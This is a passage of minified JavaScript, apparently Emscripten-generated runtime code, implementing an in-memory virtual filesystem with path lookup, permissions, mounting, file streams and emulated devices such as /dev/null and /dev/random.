if(whence===2){if(FS.isFile(stream.node.mode)){position+=stream.node.size}}if(position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return position})}};STATICTOP+=16;STATICTOP+=16;STATICTOP+=16;var FS={root:null,mounts:[],devices:{},streams:[],nextInode:1,nameTable:null,currentPath:\"/\",initialized:false,ignorePermissions:true,trackingDelegate:{},tracking:{openFlags:{READ:1,WRITE:2}},ErrnoError:null,genericErrors:{},filesystems:null,syncFSRequests:0,handleFSError:(function(e){if(!(e instanceof FS.ErrnoError))throw e+\" : \"+stackTrace();return ___setErrNo(e.errno)}),lookupPath:(function(path,opts){path=PATH.resolve(FS.cwd(),path);opts=opts||{};if(!path)return{path:\"\",node:null};var defaults={follow_mount:true,recurse_count:0};for(var key in defaults){if(opts[key]===undefined){opts[key]=defaults[key]}}if(opts.recurse_count>8){throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}var parts=PATH.normalizeArray(path.split(\"/\").filter((function(p){return!!p})),false);var current=FS.root;var current_path=\"/\";for(var i=0;i<parts.length;i++){var islast=i===parts.length-1;if(islast&&opts.parent){break}current=FS.lookupNode(current,parts[i]);current_path=PATH.join2(current_path,parts[i]);if(FS.isMountpoint(current)){if(!islast||islast&&opts.follow_mount){current=current.mounted.root}}if(!islast||opts.follow){var count=0;while(FS.isLink(current.mode)){var link=FS.readlink(current_path);current_path=PATH.resolve(PATH.dirname(current_path),link);var lookup=FS.lookupPath(current_path,{recurse_count:opts.recurse_count});current=lookup.node;if(count++>40){throw new FS.ErrnoError(ERRNO_CODES.ELOOP)}}}}return{path:current_path,node:current}}),getPath:(function(node){var path;while(true){if(FS.isRoot(node)){var mount=node.mount.mountpoint;if(!path)return mount;return mount[mount.length-1]!==\"/\"?mount+\"/\"+path:mount+path}path=path?node.name+\"/\"+path:node.name;node=node.parent}}),hashName:(function(parentid,name){var hash=0;for(var i=0;i<name.length;i++){hash=(hash<<5)-hash+name.charCodeAt(i)|0}return(parentid+hash>>>0)%FS.nameTable.length}),hashAddNode:(function(node){var hash=FS.hashName(node.parent.id,node.name);node.name_next=FS.nameTable[hash];FS.nameTable[hash]=node}),hashRemoveNode:(function(node){var hash=FS.hashName(node.parent.id,node.name);if(FS.nameTable[hash]===node){FS.nameTable[hash]=node.name_next}else{var current=FS.nameTable[hash];while(current){if(current.name_next===node){current.name_next=node.name_next;break}current=current.name_next}}}),lookupNode:(function(parent,name){var err=FS.mayLookup(parent);if(err){throw new FS.ErrnoError(err,parent)}var hash=FS.hashName(parent.id,name);for(var node=FS.nameTable[hash];node;node=node.name_next){var nodeName=node.name;if(node.parent.id===parent.id&&nodeName===name){return node}}return FS.lookup(parent,name)}),createNode:(function(parent,name,mode,rdev){if(!FS.FSNode){FS.FSNode=(function(parent,name,mode,rdev){if(!parent){parent=this}this.parent=parent;this.mount=parent.mount;this.mounted=null;this.id=FS.nextInode++;this.name=name;this.mode=mode;this.node_ops={};this.stream_ops={};this.rdev=rdev});FS.FSNode.prototype={};var readMode=292|73;var writeMode=146;Object.defineProperties(FS.FSNode.prototype,{read:{get:(function(){return(this.mode&readMode)===readMode}),set:(function(val){val?this.mode|=readMode:this.mode&=~readMode})},write:{get:(function(){return(this.mode&writeMode)===writeMode}),set:(function(val){val?this.mode|=writeMode:this.mode&=~writeMode})},isFolder:{get:(function(){return FS.isDir(this.mode)})},isDevice:{get:(function(){return FS.isChrdev(this.mode)})}})}var node=new FS.FSNode(parent,name,mode,rdev);FS.hashAddNode(node);return node}),destroyNode:(function(node){FS.hashRemoveNode(node)}),isRoot:(function(node){return node===node.parent}),isMountpoint:(function(node){return!!node.mounted}),isFile:(function(mode){return(mode&61440)===32768}),isDir:(function(mode){return(mode&61440)===16384}),isLink:(function(mode){return(mode&61440)===40960}),isChrdev:(function(mode){return(mode&61440)===8192}),isBlkdev:(function(mode){return(mode&61440)===24576}),isFIFO:(function(mode){return(mode&61440)===4096}),isSocket:(function(mode){return(mode&49152)===49152}),flagModes:{\"r\":0,\"rs\":1052672,\"r+\":2,\"w\":577,\"wx\":705,\"xw\":705,\"w+\":578,\"wx+\":706,\"xw+\":706,\"a\":1089,\"ax\":1217,\"xa\":1217,\"a+\":1090,\"ax+\":1218,\"xa+\":1218},modeStringToFlags:(function(str){var flags=FS.flagModes[str];if(typeof flags===\"undefined\"){throw new Error(\"Unknown file open mode: \"+str)}return flags}),flagsToPermissionString:(function(flag){var perms=[\"r\",\"w\",\"rw\"][flag&3];if(flag&512){perms+=\"w\"}return perms}),nodePermissions:(function(node,perms){if(FS.ignorePermissions){return 0}if(perms.indexOf(\"r\")!==-1&&!(node.mode&292)){return ERRNO_CODES.EACCES}else if(perms.indexOf(\"w\")!==-1&&!(node.mode&146)){return ERRNO_CODES.EACCES}else if(perms.indexOf(\"x\")!==-1&&!(node.mode&73)){return ERRNO_CODES.EACCES}return 0}),mayLookup:(function(dir){var err=FS.nodePermissions(dir,\"x\");if(err)return err;if(!dir.node_ops.lookup)return ERRNO_CODES.EACCES;return 0}),mayCreate:(function(dir,name){try{var node=FS.lookupNode(dir,name);return ERRNO_CODES.EEXIST}catch(e){}return FS.nodePermissions(dir,\"wx\")}),mayDelete:(function(dir,name,isdir){var node;try{node=FS.lookupNode(dir,name)}catch(e){return e.errno}var err=FS.nodePermissions(dir,\"wx\");if(err){return err}if(isdir){if(!FS.isDir(node.mode)){return ERRNO_CODES.ENOTDIR}if(FS.isRoot(node)||FS.getPath(node)===FS.cwd()){return ERRNO_CODES.EBUSY}}else{if(FS.isDir(node.mode)){return ERRNO_CODES.EISDIR}}return 0}),mayOpen:(function(node,flags){if(!node){return ERRNO_CODES.ENOENT}if(FS.isLink(node.mode)){return ERRNO_CODES.ELOOP}else if(FS.isDir(node.mode)){if(FS.flagsToPermissionString(flags)!==\"r\"||flags&512){return ERRNO_CODES.EISDIR}}return FS.nodePermissions(node,FS.flagsToPermissionString(flags))}),MAX_OPEN_FDS:4096,nextfd:(function(fd_start,fd_end){fd_start=fd_start||0;fd_end=fd_end||FS.MAX_OPEN_FDS;for(var fd=fd_start;fd<=fd_end;fd++){if(!FS.streams[fd]){return fd}}throw new FS.ErrnoError(ERRNO_CODES.EMFILE)}),getStream:(function(fd){return FS.streams[fd]}),createStream:(function(stream,fd_start,fd_end){if(!FS.FSStream){FS.FSStream=(function(){});FS.FSStream.prototype={};Object.defineProperties(FS.FSStream.prototype,{object:{get:(function(){return this.node}),set:(function(val){this.node=val})},isRead:{get:(function(){return(this.flags&2097155)!==1})},isWrite:{get:(function(){return(this.flags&2097155)!==0})},isAppend:{get:(function(){return this.flags&1024})}})}var newStream=new FS.FSStream;for(var p in stream){newStream[p]=stream[p]}stream=newStream;var fd=FS.nextfd(fd_start,fd_end);stream.fd=fd;FS.streams[fd]=stream;return stream}),closeStream:(function(fd){FS.streams[fd]=null}),chrdev_stream_ops:{open:(function(stream){var device=FS.getDevice(stream.node.rdev);stream.stream_ops=device.stream_ops;if(stream.stream_ops.open){stream.stream_ops.open(stream)}}),llseek:(function(){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)})},major:(function(dev){return dev>>8}),minor:(function(dev){return dev&255}),makedev:(function(ma,mi){return ma<<8|mi}),registerDevice:(function(dev,ops){FS.devices[dev]={stream_ops:ops}}),getDevice:(function(dev){return FS.devices[dev]}),getMounts:(function(mount){var mounts=[];var check=[mount];while(check.length){var m=check.pop();mounts.push(m);check.push.apply(check,m.mounts)}return mounts}),syncfs:(function(populate,callback){if(typeof populate===\"function\"){callback=populate;populate=false}FS.syncFSRequests++;if(FS.syncFSRequests>1){console.log(\"warning: \"+FS.syncFSRequests+\" FS.syncfs operations in flight at once, probably just doing extra work\")}var mounts=FS.getMounts(FS.root.mount);var completed=0;function doCallback(err){assert(FS.syncFSRequests>0);FS.syncFSRequests--;return callback(err)}function done(err){if(err){if(!done.errored){done.errored=true;return doCallback(err)}return}if(++completed>=mounts.length){doCallback(null)}}mounts.forEach((function(mount){if(!mount.type.syncfs){return done(null)}mount.type.syncfs(mount,populate,done)}))}),mount:(function(type,opts,mountpoint){var root=mountpoint===\"/\";var pseudo=!mountpoint;var node;if(root&&FS.root){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}else if(!root&&!pseudo){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});mountpoint=lookup.path;node=lookup.node;if(FS.isMountpoint(node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}}var mount={type:type,opts:opts,mountpoint:mountpoint,mounts:[]};var mountRoot=type.mount(mount);mountRoot.mount=mount;mount.root=mountRoot;if(root){FS.root=mountRoot}else if(node){node.mounted=mount;if(node.mount){node.mount.mounts.push(mount)}}return mountRoot}),unmount:(function(mountpoint){var lookup=FS.lookupPath(mountpoint,{follow_mount:false});if(!FS.isMountpoint(lookup.node)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node=lookup.node;var mount=node.mounted;var mounts=FS.getMounts(mount);Object.keys(FS.nameTable).forEach((function(hash){var current=FS.nameTable[hash];while(current){var next=current.name_next;if(mounts.indexOf(current.mount)!==-1){FS.destroyNode(current)}current=next}}));node.mounted=null;var idx=node.mount.mounts.indexOf(mount);assert(idx!==-1);node.mount.mounts.splice(idx,1)}),lookup:(function(parent,name){return parent.node_ops.lookup(parent,name)}),mknod:(function(path,mode,dev){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);if(!name||name===\".\"||name===\"..\"){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var err=FS.mayCreate(parent,name);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.mknod){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return parent.node_ops.mknod(parent,name,mode,dev)}),create:(function(path,mode){mode=mode!==undefined?mode:438;mode&=4095;mode|=32768;return FS.mknod(path,mode,0)}),mkdir:(function(path,mode){mode=mode!==undefined?mode:511;mode&=511|512;mode|=16384;return FS.mknod(path,mode,0)}),mkdirTree:(function(path,mode){var dirs=path.split(\"/\");var d=\"\";for(var i=0;i<dirs.length;++i){if(!dirs[i])continue;d+=\"/\"+dirs[i];try{FS.mkdir(d,mode)}catch(e){if(e.errno!=ERRNO_CODES.EEXIST)throw e}}}),mkdev:(function(path,mode,dev){if(typeof dev===\"undefined\"){dev=mode;mode=438}mode|=8192;return FS.mknod(path,mode,dev)}),symlink:(function(oldpath,newpath){if(!PATH.resolve(oldpath)){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}var lookup=FS.lookupPath(newpath,{parent:true});var parent=lookup.node;if(!parent){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}var newname=PATH.basename(newpath);var err=FS.mayCreate(parent,newname);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.symlink){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return parent.node_ops.symlink(parent,newname,oldpath)}),rename:(function(old_path,new_path){var old_dirname=PATH.dirname(old_path);var new_dirname=PATH.dirname(new_path);var old_name=PATH.basename(old_path);var new_name=PATH.basename(new_path);var lookup,old_dir,new_dir;try{lookup=FS.lookupPath(old_path,{parent:true});old_dir=lookup.node;lookup=FS.lookupPath(new_path,{parent:true});new_dir=lookup.node}catch(e){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(!old_dir||!new_dir)throw new FS.ErrnoError(ERRNO_CODES.ENOENT);if(old_dir.mount!==new_dir.mount){throw new FS.ErrnoError(ERRNO_CODES.EXDEV)}var old_node=FS.lookupNode(old_dir,old_name);var relative=PATH.relative(old_path,new_dirname);if(relative.charAt(0)!==\".\"){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}relative=PATH.relative(new_path,old_dirname);if(relative.charAt(0)!==\".\"){throw new FS.ErrnoError(ERRNO_CODES.ENOTEMPTY)}var new_node;try{new_node=FS.lookupNode(new_dir,new_name)}catch(e){}if(old_node===new_node){return}var isdir=FS.isDir(old_node.mode);var err=FS.mayDelete(old_dir,old_name,isdir);if(err){throw new FS.ErrnoError(err)}err=new_node?FS.mayDelete(new_dir,new_name,isdir):FS.mayCreate(new_dir,new_name);if(err){throw new FS.ErrnoError(err)}if(!old_dir.node_ops.rename){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(old_node)||new_node&&FS.isMountpoint(new_node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}if(new_dir!==old_dir){err=FS.nodePermissions(old_dir,\"w\");if(err){throw new FS.ErrnoError(err)}}try{if(FS.trackingDelegate[\"willMovePath\"]){FS.trackingDelegate[\"willMovePath\"](old_path,new_path)}}catch(e){console.log(\"FS.trackingDelegate['willMovePath']('\"+old_path+\"', '\"+new_path+\"') threw an exception: \"+e.message)}FS.hashRemoveNode(old_node);try{old_dir.node_ops.rename(old_node,new_dir,new_name)}catch(e){throw e}finally{FS.hashAddNode(old_node)}try{if(FS.trackingDelegate[\"onMovePath\"])FS.trackingDelegate[\"onMovePath\"](old_path,new_path)}catch(e){console.log(\"FS.trackingDelegate['onMovePath']('\"+old_path+\"', '\"+new_path+\"') threw an exception: \"+e.message)}}),rmdir:(function(path){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);var node=FS.lookupNode(parent,name);var err=FS.mayDelete(parent,name,true);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.rmdir){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}try{if(FS.trackingDelegate[\"willDeletePath\"]){FS.trackingDelegate[\"willDeletePath\"](path)}}catch(e){console.log(\"FS.trackingDelegate['willDeletePath']('\"+path+\"') threw an exception: \"+e.message)}parent.node_ops.rmdir(parent,name);FS.destroyNode(node);try{if(FS.trackingDelegate[\"onDeletePath\"])FS.trackingDelegate[\"onDeletePath\"](path)}catch(e){console.log(\"FS.trackingDelegate['onDeletePath']('\"+path+\"') threw an exception: \"+e.message)}}),readdir:(function(path){var lookup=FS.lookupPath(path,{follow:true});var node=lookup.node;if(!node.node_ops.readdir){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}return node.node_ops.readdir(node)}),unlink:(function(path){var lookup=FS.lookupPath(path,{parent:true});var parent=lookup.node;var name=PATH.basename(path);var node=FS.lookupNode(parent,name);var err=FS.mayDelete(parent,name,false);if(err){throw new FS.ErrnoError(err)}if(!parent.node_ops.unlink){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isMountpoint(node)){throw new FS.ErrnoError(ERRNO_CODES.EBUSY)}try{if(FS.trackingDelegate[\"willDeletePath\"]){FS.trackingDelegate[\"willDeletePath\"](path)}}catch(e){console.log(\"FS.trackingDelegate['willDeletePath']('\"+path+\"') threw an exception: \"+e.message)}parent.node_ops.unlink(parent,name);FS.destroyNode(node);try{if(FS.trackingDelegate[\"onDeletePath\"])FS.trackingDelegate[\"onDeletePath\"](path)}catch(e){console.log(\"FS.trackingDelegate['onDeletePath']('\"+path+\"') threw an exception: \"+e.message)}}),readlink:(function(path){var lookup=FS.lookupPath(path);var link=lookup.node;if(!link){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!link.node_ops.readlink){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}return PATH.resolve(FS.getPath(link.parent),link.node_ops.readlink(link))}),stat:(function(path,dontFollow){var lookup=FS.lookupPath(path,{follow:!dontFollow});var node=lookup.node;if(!node){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!node.node_ops.getattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}return node.node_ops.getattr(node)}),lstat:(function(path){return FS.stat(path,true)}),chmod:(function(path,mode,dontFollow){var node;if(typeof path===\"string\"){var lookup=FS.lookupPath(path,{follow:!dontFollow});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}node.node_ops.setattr(node,{mode:mode&4095|node.mode&~4095,timestamp:Date.now()})}),lchmod:(function(path,mode){FS.chmod(path,mode,true)}),fchmod:(function(fd,mode){var stream=FS.getStream(fd);if(!stream){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}FS.chmod(stream.node,mode)}),chown:(function(path,uid,gid,dontFollow){var node;if(typeof path===\"string\"){var lookup=FS.lookupPath(path,{follow:!dontFollow});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}node.node_ops.setattr(node,{timestamp:Date.now()})}),lchown:(function(path,uid,gid){FS.chown(path,uid,gid,true)}),fchown:(function(fd,uid,gid){var stream=FS.getStream(fd);if(!stream){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}FS.chown(stream.node,uid,gid)}),truncate:(function(path,len){if(len<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var node;if(typeof path===\"string\"){var lookup=FS.lookupPath(path,{follow:true});node=lookup.node}else{node=path}if(!node.node_ops.setattr){throw new FS.ErrnoError(ERRNO_CODES.EPERM)}if(FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!FS.isFile(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var err=FS.nodePermissions(node,\"w\");if(err){throw new FS.ErrnoError(err)}node.node_ops.setattr(node,{size:len,timestamp:Date.now()})}),ftruncate:(function(fd,len){var stream=FS.getStream(fd);if(!stream){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if((stream.flags&2097155)===0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}FS.truncate(stream.node,len)}),utime:(function(path,atime,mtime){var lookup=FS.lookupPath(path,{follow:true});var node=lookup.node;node.node_ops.setattr(node,{timestamp:Math.max(atime,mtime)})}),open:(function(path,flags,mode,fd_start,fd_end){if(path===\"\"){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}flags=typeof flags===\"string\"?FS.modeStringToFlags(flags):flags;mode=typeof mode===\"undefined\"?438:mode;if(flags&64){mode=mode&4095|32768}else{mode=0}var node;if(typeof path===\"object\"){node=path}else{path=PATH.normalize(path);try{var lookup=FS.lookupPath(path,{follow:!(flags&131072)});node=lookup.node}catch(e){}}var created=false;if(flags&64){if(node){if(flags&128){throw new FS.ErrnoError(ERRNO_CODES.EEXIST)}}else{node=FS.mknod(path,mode,0);created=true}}if(!node){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(FS.isChrdev(node.mode)){flags&=~512}if(flags&65536&&!FS.isDir(node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}if(!created){var err=FS.mayOpen(node,flags);if(err){throw new FS.ErrnoError(err)}}if(flags&512){FS.truncate(node,0)}flags&=~(128|512);var stream=FS.createStream({node:node,path:FS.getPath(node),flags:flags,seekable:true,position:0,stream_ops:node.stream_ops,ungotten:[],error:false},fd_start,fd_end);if(stream.stream_ops.open){stream.stream_ops.open(stream)}if(Module[\"logReadFiles\"]&&!(flags&1)){if(!FS.readFiles)FS.readFiles={};if(!(path in FS.readFiles)){FS.readFiles[path]=1;err(\"read file: \"+path)}}try{if(FS.trackingDelegate[\"onOpenFile\"]){var trackingFlags=0;if((flags&2097155)!==1){trackingFlags|=FS.tracking.openFlags.READ}if((flags&2097155)!==0){trackingFlags|=FS.tracking.openFlags.WRITE}FS.trackingDelegate[\"onOpenFile\"](path,trackingFlags)}}catch(e){console.log(\"FS.trackingDelegate['onOpenFile']('\"+path+\"', flags) threw an exception: \"+e.message)}return stream}),close:(function(stream){if(FS.isClosed(stream)){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(stream.getdents)stream.getdents=null;try{if(stream.stream_ops.close){stream.stream_ops.close(stream)}}catch(e){throw e}finally{FS.closeStream(stream.fd)}stream.fd=null}),isClosed:(function(stream){return stream.fd===null}),llseek:(function(stream,offset,whence){if(FS.isClosed(stream)){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(!stream.seekable||!stream.stream_ops.llseek){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}stream.position=stream.stream_ops.llseek(stream,offset,whence);stream.ungotten=[];return stream.position}),read:(function(stream,buffer,offset,length,position){if(length<0||position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if(FS.isClosed(stream)){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if((stream.flags&2097155)===1){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(FS.isDir(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!stream.stream_ops.read){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}var seeking=typeof position!==\"undefined\";if(!seeking){position=stream.position}else if(!stream.seekable){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}var bytesRead=stream.stream_ops.read(stream,buffer,offset,length,position);if(!seeking)stream.position+=bytesRead;return bytesRead}),write:(function(stream,buffer,offset,length,position,canOwn){if(length<0||position<0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if(FS.isClosed(stream)){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if((stream.flags&2097155)===0){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(FS.isDir(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.EISDIR)}if(!stream.stream_ops.write){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if(stream.flags&1024){FS.llseek(stream,0,2)}var seeking=typeof position!==\"undefined\";if(!seeking){position=stream.position}else if(!stream.seekable){throw new FS.ErrnoError(ERRNO_CODES.ESPIPE)}var bytesWritten=stream.stream_ops.write(stream,buffer,offset,length,position,canOwn);if(!seeking)stream.position+=bytesWritten;try{if(stream.path&&FS.trackingDelegate[\"onWriteToFile\"])FS.trackingDelegate[\"onWriteToFile\"](stream.path)}catch(e){console.log(\"FS.trackingDelegate['onWriteToFile']('\"+path+\"') threw an exception: \"+e.message)}return bytesWritten}),allocate:(function(stream,offset,length){if(FS.isClosed(stream)){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(offset<0||length<=0){throw new FS.ErrnoError(ERRNO_CODES.EINVAL)}if((stream.flags&2097155)===0){throw new FS.ErrnoError(ERRNO_CODES.EBADF)}if(!FS.isFile(stream.node.mode)&&!FS.isDir(stream.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}if(!stream.stream_ops.allocate){throw new FS.ErrnoError(ERRNO_CODES.EOPNOTSUPP)}stream.stream_ops.allocate(stream,offset,length)}),mmap:(function(stream,buffer,offset,length,position,prot,flags){if((stream.flags&2097155)===1){throw new FS.ErrnoError(ERRNO_CODES.EACCES)}if(!stream.stream_ops.mmap){throw new FS.ErrnoError(ERRNO_CODES.ENODEV)}return stream.stream_ops.mmap(stream,buffer,offset,length,position,prot,flags)}),msync:(function(stream,buffer,offset,length,mmapFlags){if(!stream||!stream.stream_ops.msync){return 0}return stream.stream_ops.msync(stream,buffer,offset,length,mmapFlags)}),munmap:(function(stream){return 0}),ioctl:(function(stream,cmd,arg){if(!stream.stream_ops.ioctl){throw new FS.ErrnoError(ERRNO_CODES.ENOTTY)}return stream.stream_ops.ioctl(stream,cmd,arg)}),readFile:(function(path,opts){opts=opts||{};opts.flags=opts.flags||\"r\";opts.encoding=opts.encoding||\"binary\";if(opts.encoding!==\"utf8\"&&opts.encoding!==\"binary\"){throw new Error('Invalid encoding type \"'+opts.encoding+'\"')}var ret;var stream=FS.open(path,opts.flags);var stat=FS.stat(path);var length=stat.size;var buf=new Uint8Array(length);FS.read(stream,buf,0,length,0);if(opts.encoding===\"utf8\"){ret=UTF8ArrayToString(buf,0)}else if(opts.encoding===\"binary\"){ret=buf}FS.close(stream);return ret}),writeFile:(function(path,data,opts){opts=opts||{};opts.flags=opts.flags||\"w\";var stream=FS.open(path,opts.flags,opts.mode);if(typeof data===\"string\"){var buf=new Uint8Array(lengthBytesUTF8(data)+1);var actualNumBytes=stringToUTF8Array(data,buf,0,buf.length);FS.write(stream,buf,0,actualNumBytes,undefined,opts.canOwn)}else if(ArrayBuffer.isView(data)){FS.write(stream,data,0,data.byteLength,undefined,opts.canOwn)}else{throw new Error(\"Unsupported data type\")}FS.close(stream)}),cwd:(function(){return FS.currentPath}),chdir:(function(path){var lookup=FS.lookupPath(path,{follow:true});if(lookup.node===null){throw new FS.ErrnoError(ERRNO_CODES.ENOENT)}if(!FS.isDir(lookup.node.mode)){throw new FS.ErrnoError(ERRNO_CODES.ENOTDIR)}var err=FS.nodePermissions(lookup.node,\"x\");if(err){throw new FS.ErrnoError(err)}FS.currentPath=lookup.path}),createDefaultDirectories:(function(){FS.mkdir(\"/tmp\");FS.mkdir(\"/home\");FS.mkdir(\"/home/web_user\")}),createDefaultDevices:(function(){FS.mkdir(\"/dev\");FS.registerDevice(FS.makedev(1,3),{read:(function(){return 0}),write:(function(stream,buffer,offset,length,pos){return length})});FS.mkdev(\"/dev/null\",FS.makedev(1,3));TTY.register(FS.makedev(5,0),TTY.default_tty_ops);TTY.register(FS.makedev(6,0),TTY.default_tty1_ops);FS.mkdev(\"/dev/tty\",FS.makedev(5,0));FS.mkdev(\"/dev/tty1\",FS.makedev(6,0));var random_device;if(typeof crypto!==\"undefined\"){var randomBuffer=new Uint8Array(1);random_device=(function(){crypto.getRandomValues(randomBuffer);return randomBuffer[0]})}else if(ENVIRONMENT_IS_NODE){random_device=(function(){return require(\"crypto\")[\"randomBytes\"](1)[0]})}else{random_device=(function(){return Math.random()*256|0})}FS.createDevice(\"/dev\",\"random\",random_device);FS.createDevice(\"/dev\",\"urandom\",random_device);FS.mkdir(\"/dev/shm\");FS.mkdir(\"/dev/shm/tmp\")}),createSpecialDirectories:(function(){FS.mkdir(\"/proc\");FS.mkdir(\"/proc/self\");FS.mkdir(\"/proc/self/fd\");FS.mount({mount:(function(){var node=FS.createNode(\"/proc/self\",\"fd\",16384|511,73);node.node_ops={lookup:(function(parent,name){var fd=+name;var stream=FS.getStream(fd);if(!stream)throw new FS.ErrnoError(ERRNO_CODES.EBADF);var ret={parent:null,mount:{mountpoint:\"fake\"},node_ops:{readlink:(function(){return stream.path})}};ret.parent=ret;return ret})};return node})},{},\"/proc/self/fd\")}),createStandardStreams:(function(){if(Module[\"stdin\"]){FS.createDevice(\"/dev\",\"stdin\",Module[\"stdin\"])}else{FS.symlink(\"/dev/tty\",\"/dev/stdin\")}if(Module[\"stdout\"]){FS.createDevice(\"/dev\",\"stdout\",null,Module[\"stdout\"])}else{FS.symlink(\"/dev/tty\",\"/dev/stdout\")}if(Module[\"stderr\"]){FS.createDevice(\"/dev\",\"stderr\",null,Module[\"stderr\"])}else{FS.symlink(\"/dev/tty1\",\"/dev/stderr\")}var stdin=FS.open(\"/dev/stdin\",\"r\");assert(stdin.fd===0,\"invalid handle for stdin (\"+stdin.fd+\")\");var stdout=FS.open(\"/dev/stdout\",\"w\");assert(stdout.fd===1,\"invalid handle for stdout (\"+stdout.fd+\")\");var stderr=FS.open(\"/dev/stderr\",\"w\");assert(stderr.fd===2,\"invalid handle for stderr (\"+stderr.fd+\")\")}),ensureErrnoError:(function(){if(FS.ErrnoError)return;FS.ErrnoError=function ErrnoError(errno,node){this.node=node;this.setErrno=(function(errno){this.errno=errno;for(var key in ERRNO_CODES){if(ERRNO_CODES[key]===errno){this.code=key;break}}});this.setErrno(errno);this.message=ERRNO_MESSAGES[errno];if(this.stack)Object.defineProperty(this,\"stack\",{value:(new Error).stack,writable:true})};FS.ErrnoError.prototype=new Error;FS.ErrnoError.prototype.constructor=FS.ErrnoError;[ERRNO_CODES.ENOENT].forEach((function(code){FS.genericErrors[code]=new FS.ErrnoError(code);FS.genericErrors[code].stack=\"<generic error, no stack>\"}))}),staticInit:(function(){FS.ensureErrnoError();FS.nameTable=new Array(4096);FS.mount(MEMFS,{},\"/\");FS.createDefaultDirectories();FS.createDefaultDevices();FS.createSpecialDirectories();FS.filesystems={\"MEMFS\":MEMFS,\"IDBFS\":IDBFS,\"NODEFS\":NODEFS,\"WORKERFS\":WORKERFS}}),init:(function(input,output,error){assert(!FS.init.initialized,\"FS.init was previously called. If you want to initialize later with custom parameters, remove any earlier calls (note that one is automatically added to the generated code)\");FS.init.initialized=true;FS.ensureErrnoError();Module[\"stdin\"]=input||Module[\"stdin\"];Module[\"stdout\"]=output||Module[\"stdout\"];Module[\"stderr\"]=error||Module[\"stderr\"];FS.createStandardStreams()}),quit:(function(){FS.init.initialized=false;var fflush=Module[\"_fflush\"];if(fflush)fflush(0);for(var i=0;i<FS.streams.length;i++){var stream=FS.streams[i];if(!stream){continue}FS.close(stream)}}),getMode:(function(canRead,canWrite){var mode=0;if(canRead)mode|=292|73;if(canWrite)mode|=146;return mode}),joinPath:(function(parts,forceRelative){var path=PATH.join.apply(null,parts);if(forceRelative&&path[0]==\"/\")path=path.substr(1);return path}),absolutePath:(function(relative,base){return PATH.resolve(base,relative)}),standardizePath:(function(path){return PATH.normalize(path)}),findObject:(function(path,dontResolveLastLink){var ret=FS.analyzePath(path,dontResolveLastLink);if(ret.exists){return ret.object}else{___setErrNo(ret.error);return null}}),analyzePath:(function(path,dontResolveLastLink){try{var lookup=FS.lookupPath(path,{follow:!dontResolveLastLink});path=lookup.path}catch(e){}var ret={isRoot:false,exists:false,error:0,name:null,path:null,object:null,parentExists:false,parentPath:null,parentObject:null};try{var 